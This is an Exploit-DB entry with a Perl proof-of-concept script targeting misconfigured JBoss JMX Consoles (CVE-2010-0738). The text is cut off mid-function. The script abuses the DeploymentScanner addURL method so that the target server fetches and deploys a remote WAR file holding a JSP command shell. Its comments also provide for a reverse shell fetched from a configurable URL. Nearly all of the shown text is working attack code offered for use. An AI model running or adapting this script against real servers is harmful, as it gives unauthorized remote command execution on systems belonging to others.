Exploit-DB #17924
Description: JBoss & JMX Console - Misconfigured Deployment Scanner
Type: webapps
Platform: jsp
Date: 2011-10-03
Author: y0ug

Exploit:
#!/usr/bin/perl
# Exploit Title: JBoss, JMX Console, misconfigured DeploymentScanner
# Date: Oct 3 2011
# Author: y0ug <at> codsec.com
# Version: 
# Tested on: Linux
# CVE : CVE-2010-0738
#
# POC against misconfigured JBoss JMX Console
# It use the addUrl method in DeploymentScanner module
#
# More information
# http://packetstormsecurity.org/files/download/105479/JBossWhitepaper.pdf
# http://poc-hack.blogspot.com/2011/02/how-to-hack-any-version-of-jboss.html
#
# You need to edit
#    $url_cmd to match the war payload url
#    $url_shell is your reverse shell url 
#         ( only if you want to use reverse_shell("ip", "port") )
#
# The JSP shell is not mine is available every where
# I add a -b param that build the war contener to do this you need java
#
# Is a fast POC coded this morning for fun so maybe it don't cover all case/version
#
# Usage:
#  Build the war contener (need java)
#   ./jboss -b
#  Hack
#   ./jboss http://www.vuln.com:8080

use strict;

use LWP::UserAgent;
use HTTP::Request::Common qw(POST);
use HTTP::Request::Common qw(GET);
use IO::Socket::SSL;
use Cwd;

# configuration section
my $url_cmd = "http://127.0.0.1/cmd.war";
my $url_shell = "http://127.0.0.1/reverse.pl";
my $debug = 0; # 1 to switch to debug
my $useragent = "'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.12) ".      
    "Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729)'";

# Don't edit from here
my $installed = 0;
my $url;

my $ua = LWP::UserAgent->new;

$SIG{INT} = "sigtrap";

sub debug {
    if( $debug ){
        print STDERR "debug: ", @_, "\n";
    }
}

sub check_url {
    my $request = GET "$url/jmx-console/";
    my $response = $ua->request($request);
    if (!$response->is_success) {
        print STDERR $response->status_line, "\n";
        return -1;
    }
    return 0;
}

sub sigtrap {
    if ( $installed ){
        print " [*] Clean of $url in progress...\n";
        clean_war();
    }
    exit 1;
}

sub find_method_index {
    my $method = shift(@_);

    my $request = GET "$url/jmx-console/HtmlAdaptor?" . 
    "action=inspectMBean&name=jboss.deployment" .
    "%3Aflavor%3DURL%2Ctype%3DDeploymentScanner";
   
    
    my $response = $ua->request($request);
    if (!$response->is_success) {
        print STDERR $response->status_line, "\n";
        return -1;
    }
    my $page = $response->decoded_content;
    
    # Match a certain jboss version
    while ( $page =~ m{<form method="post" action="HtmlAdaptor">(.*?)</form>}sg ){
        my $form = $1;
        if ( $form =~ /$method/ ){
            if ( $form =~ /<input type="hidden" name="methodIndex" value="(\d+)">/ ){
                debug("method $method at index $1");
                return $1;
            }
        }
    }
    
    # Match another jboss version
    while ( $page =~ m{<td class='param'>$method</td>(.*?)</tr>}sg ){
        my $form = $1;
        if ( $form =~ /<input type='hidden' name='methodIndex' value='(\d+)'\/>/ ){
            debug("method $method at index $1");
            return $1;
        }
    }
    
    # Match another jboss version
    while ( $page =~ m{<span class='aname'>$method</span>(.*?)<table>}sg ){
        my $form = $1;
        if ( $form =~ /<input type="hidden" name="methodIndex" value="(\d+)" \/>/ ){
            debug("method $method at index $1");
            return $1;
        }
    }    
    return -1;
}

sub is_installed_war {
    my $method_index = find_method_index("hasURL");
    if ( $method_index < 0 ) { print "Can't find methodIndex for hasURL\n"; return -1; }
    my $request = POST "$url/jmx-console/HtmlAdaptor", { action => 'invokeOp', 
        name => 'jboss.deployment:type=DeploymentScanner,flavor=URL',
        methodIndex => "$method_index", arg0 => $url_cmd};
    my $response = $ua->request($request);
    if (!$response->is_success) {
        print STDERR $response->status_line, "\n";
        return -1;
    }
    my $page = $response->decoded_content;

    if ( $page =~ m{<pre>(.*?)</pre>}s ){
        my $ret = $1;
        if ( $ret =~ /true/ ){
            return 1;
        }else{
            return 0;
        }
    }else{
        print STDERR "error: occured during is_installed_war regex!\n";
        return -2;
    }
}

sub install_war {
    if (is_installed_war == 1){
        print " [*] Install canceled, already installed\n";
        return 1;
    }
    my $method_index = find_method_index("addURL");
    if ( $method_index < 0 ) { print "Can't find methodIndex for addURL\n"; return -1; }
    
    my $request = POST "$url/jmx-console/HtmlAdaptor", { action => 'invokeOp', 
        name => 'jboss.deployment:type=DeploymentScanner,flavor=URL',
        methodIndex => "$method_index", arg0 => $url_cmd};
    my $response = $ua->request($request);
    if (!$response->is_success) {
        print STDERR $response->status_line, "\n";
        return -1;
    }
    my $page = $response->decoded_content;
    
    if ( $page =~ m{<span class='OpResult'>(.*?)</span>}s ){
        print " [*] ", trim($1), "\n";
        return 0;
    }elsif ( $page =~ m{<pre>(.*?)</pre>}s ){
        print " [*] ", trim($1), "\n";
        return 0;
    }elsif ( $page =~ m{</table>(.*?)</body>}s ){
        print " [*] ", trim($1), "\n";
        return 0;
    }else{
        print STDERR "error: occured during install_war regex!\n";
        return -1;
    }
}

sub clean_war {
    while(is_installed_war == 1){
        if ( uninstall_war() < 0 ){
            return -1;
        }
    }
    print " [*] Clean complete\n";
    return 0;
}

sub uninstall_war {
    my $method_index = find_method_index("removeURL");
    if ( $method_index < 0 ) { print "Can't find methodIndex for removeURL\n"; return -1; }
    my $request = POST "$url/jmx-console/HtmlAdaptor", { action => 'invokeOp', 
        name => 'jboss.deployment:ty